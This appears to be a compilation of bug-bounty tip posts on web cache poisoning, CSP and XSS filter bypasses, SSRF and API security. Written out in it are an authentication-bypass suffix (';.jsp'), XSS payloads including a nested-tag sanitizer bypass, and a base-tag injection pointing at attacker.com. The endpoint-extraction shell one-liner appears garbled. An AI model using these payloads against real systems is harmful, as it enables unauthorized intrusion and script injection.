Bug bounty Tips

Web Cache Poisoning small✅ checklist Read Full Article : https://medium.com/@Aacle/web-cache-poisoning-part-2-weaponizing-headers-url-discrepancies-bbb7b2c0159a • Test X-Forwarded-*, X-Host, X-Original-URL, User-Agent for reflection. • Check Vary and target UA-specific poisoning when relevant. • Try encoded dot-segments (%2e%2e, %2f, %5c) and observe X-Cache • Test .css / .js extension flip on sensitive endpoints (CSPT) • Seed cache via Burp parallel requests (first .js then main HTML) • Use fresh IPs, low request rate, and record X-Cache, Age, CF-Cache-Status • Run delimiter discovery (append random suffix → insert delimiter → compare).

Part - 2 Web Cache Poisoning Quick tip: test X-Forwarded-Host + extension flips (.css/.js) — if the edge caches your reflected header or JSON as a “static” asset, every visitor can get poisoned JS or tokens. Read 5 practical PoCs & seeding recipes → https://medium.com/@Aacle/web-cache-poisoning-part-2-weaponizing-headers-url-discrepancies-bbb7b2c0159a

🔥 SSRF hunters — 3 tiny tricks that turn “maybe” into provable (one-request) POCs — read the full playbook👇 • ⏱️ Timing-delay • 🔁 Subdomain-rotation • 🏷️ Header-correlation Read the full Medium guide ➡️ https://medium.com/@Aacle/ssrf-part-3-advanced-tricks-timing-channels-out-of-the-box-detection-693c07c97015

Web Cache Poisoning Tips Attacker mindset — don’t bruteforce: look for what the cache keys include. Host headers, cookies, query strings, Accept headers, and odd edge-case headers often end up in the key. Make the app include your input in the key → you control cached output. Read Full Article : https://medium.com/@Aacle/web-cache-poisoning-part-1-understanding-the-beast-d303f1741e48

First, understand this : Content Security Policy = No XSS It just means "XSS with extra steps" 🟩 : 70% of CSPs I encounter have misconfigurations that make them completely useless. #bugbounty #infosec Here are the 👇 5 deadly mistakes developers make: 𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟭: '𝘂𝗻𝘀𝗮𝗳𝗲-𝗶𝗻𝗹𝗶𝗻𝗲' If you see this in script-src, you've already won. Policy: script-src 'self' 'unsafe-inline' Bypass: <script>alert(1)</script> It literally allows ALL inline scripts. 𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟮: 𝗪𝗶𝗹𝗱𝗰𝗮𝗿𝗱 𝗗𝗼𝗺𝗮𝗶𝗻𝘀 (*.𝗴𝗼𝗼𝗴𝗹𝗲.𝗰𝗼𝗺) "It's Google, what could go wrong?" Everything. This JSONP endpoint on Google works on tons of apps: http:// accounts.google.com/o/oauth2/revoke?callback=alert 𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟯: 𝗠𝗶𝘀𝘀𝗶𝗻𝗴 𝗯𝗮𝘀𝗲-𝘂𝗿𝗶 This is my favorite because it's ALWAYS overlooked. Inject: <base href="https://attacker.com"> Now ALL relative script paths load from your domain. 𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟰: 𝗙𝗶𝗹𝗲 𝗨𝗽𝗹𝗼𝗮𝗱𝘀 𝗼𝗻 𝗪𝗵𝗶𝘁𝗲𝗹𝗶𝘀𝘁𝗲𝗱 𝗗𝗼𝗺𝗮𝗶𝗻𝘀 Policy: script-src 'self' http://cdn.example.com If you can upload files to that CDN → game over. upload a .js file disguised as a profile picture. Direct S3 URL. Loaded as script. 𝗠𝗶𝘀𝘁𝗮𝗸𝗲 #𝟱: 𝗧𝗿𝘂𝘀𝘁𝗶𝗻𝗴 𝗖𝗗𝗡𝘀 𝘄𝗶𝘁𝗵 𝗢𝗹𝗱 𝗟𝗶𝗯𝗿𝗮𝗿𝗶𝗲𝘀 AngularJS versions < 1.6.0 have sandbox escapes. If a whitelisted domain hosts old Angular → you can execute code. Check http://ajax.googleapis.com for old versions. This works more often than you'd think. 𝗧𝗵𝗶𝘀 𝗶𝘀 𝗷𝘂𝘀𝘁 𝘁𝗵𝗲 𝗯𝗲𝗴𝗶𝗻𝗻𝗶𝗻𝗴. 𝗣𝗮𝗿𝘁 𝟮: Advanced nonce exploitation, AngularJS escapes, service workers 𝗣𝗮𝗿𝘁 𝟯: DOM clobbering, mutation XSS, scriptless attacks 𝗙𝘂𝗹𝗹 𝗴𝘂𝗶𝗱𝗲 + 𝘁𝗲𝘀𝘁𝗶𝗻𝗴 𝗰𝗵𝗲𝗰𝗸𝗹𝗶𝘀𝘁: https://medium.com/@Aacle/a-bug-hunters-guide-to-csp-bypasses-part-1-69b606fd2699

How to Hack JWT using Burp Suite? https://payatu.com/blog/jwt-vulnerabilities/

🔐 *How to Secure Your APIs – A Practical Guide* APIs are the backbone of modern apps — but without security, they become open doors to attacks. Here's how to lock them down effectively: --- ✅ *1. Use Authentication & Authorization* - Implement *OAuth2*, *JWT*, or *API keys* - Enforce *role-based access control (RBAC)* --- 🔐 *2. Validate Inputs Strictly* - Sanitize user inputs - Use strong data validation (e.g., Joi, Yup) - Prevent SQL & NoSQL injection --- 📦 *3. Rate Limiting & Throttling* - Control request frequency to avoid abuse - Use tools like *NGINX*, *API Gateway*, or *Cloudflare* --- 📜 *4. Use HTTPS Everywhere* - Encrypt all data in transit - Never expose APIs over HTTP --- 🕵️‍♂️ *5. Monitor & Log* - Track unusual behavior - Use centralized logging (e.g., ELK, Datadog) --- 🧱 *6. CORS & Firewall Rules* - Restrict allowed origins - Protect using *WAFs* and IP whitelisting --- Secure APIs = Safe apps + Protected data + Trusted users Build smart. Build safe.

🌐A big curated list of awesome resources useful during Penetration testing, Vulnerability assessments, Red/Blue Team operations, Bug Bounty and more🧠 Online tools for search info about: - exploit⭐️ - vulnerabilities⭐️ - people⭐️ - emails⭐️ - phone numbers⭐️ - domains⭐️ - certificates⭐️ and more❤️. https://github.com/edoardottt/awesome-hacker-search-engines Learn Hacking from Basic to Pro❤️

🚨CVE-2025-64095 (CVSS 10.0) : A Critical Flaw in DNN Platform Allows Unauthenticated Website Overwrite ⚡Dorks HUNTER : http://product.name="DotNetNuke"

Hey Hunter's, Darkshadow here back again! ✨Authentication bypass method: ✅Steps: 1. Target..com/carbon/server-admin/memory_info.jsp = redirect to login page [301 status] 2. Target..com/carbon/server-admin/memory_info.jsp;.jsp = gives the page content without authentication [200 status]

Payload 👉🏼 ;.jsp

Tip: 1. Find sensitive path from js file which need authentication. 2. Try to find endpoints which end with a extension like: .php, .jsp, .shtml etc. 3. Simply Fuzz every endpoint with the same extension payload like: ;.jsp ;.php ;.shtml If any of these gives 200ok check manually. And might it's works! Don't forget to show your loves guy's ❤️

Extract all endpoints from a JS File and take your bug 🐞 - Method one waybackurls HOSTS | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]? 15*[=: 1\5*[ '\"]?[^'\"]+.js[^'|"> ]*" | awk -F '/' '{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh -c "curl -k -s \"%)" | sed \"s/[;}\)>]/\n/g\" | grep -Po \" (L'1|\"](https?: )?[/1{1,2}[^'||l"> 1{5,3)|(\. (get|post|ajax|load)\s*\(\5*['||\"](https?:)?[/1{1,2}[^'||\"> ] {5,})\"" | awk -F "['|"]" '{print $2}' sort -fu - Method two cat JS.txt | grep -aop "(?<=(\"|\'|' ))\/[a-zA-Z0-9?&=\/-#.](?= (\"||'|'))" | sort -u | tee JS.txt #infosec #cybersec #bugbountytips

Hey Hunters, DarkShadow here back again, dropping an interesting XSS input sanitization bypass method. You might have noticed that most websites currently use input sanitization by blocking certain tags and events, right!? Not really 😅 Okay, so first, have a look at some example tags that could trigger XSS:

script, img, a, iframe, object, video, audio, form, meta

The website blocks these keywords if they appear inside tags like < > or </ > and replaces them with nothing — basically, null or an empty string "". So, if you try a payload like:

<script>alert(1)</script>

It will be replaced with:

alert(1)

Now, think a bit more deeply — what if you write a payload like this:

<script <img>> alert(1) </script </img>>

In this payload, look at the first part:

<script <img>>

Here, <img> is a full image tag, and it will definitely be removed by the sanitization filter. But what about <script<? You can see the <script> tag isn’t written properly yet — it’s <script followed by <, so it doesn’t match the sanitization logic exactly. Now, the interesting part is when the <img> tag gets removed from <script <img>>. After that, we’re left with <script>! That means the transformation is like this:

<script <img>> → remove <img> → <script>

</script </img>> → remove </img> → </script>

And finally, we get a valid payload:

<script>alert(1)</script>

So guys, if you really like reading DarkShadow’s methodologies, show your LOVE. And don’t forget to follow me 👉🏼 x.com/darkshadow2bd #bugbountytips #xss

☄️JSRecon-Buddy - A simple browser extension to quickly find interesting security-related information on a webpage. 🔴https://github.com/TheArqsz/JSRecon-Buddy

Black Hat USA 2025 Slides and files Conference presentation slides 🔼GitHub 🔼InfoCon ❤ Share & Support & Reaction Us 🧩 #event 📰 @BackupLSO 📚 @LibrarySecOfficial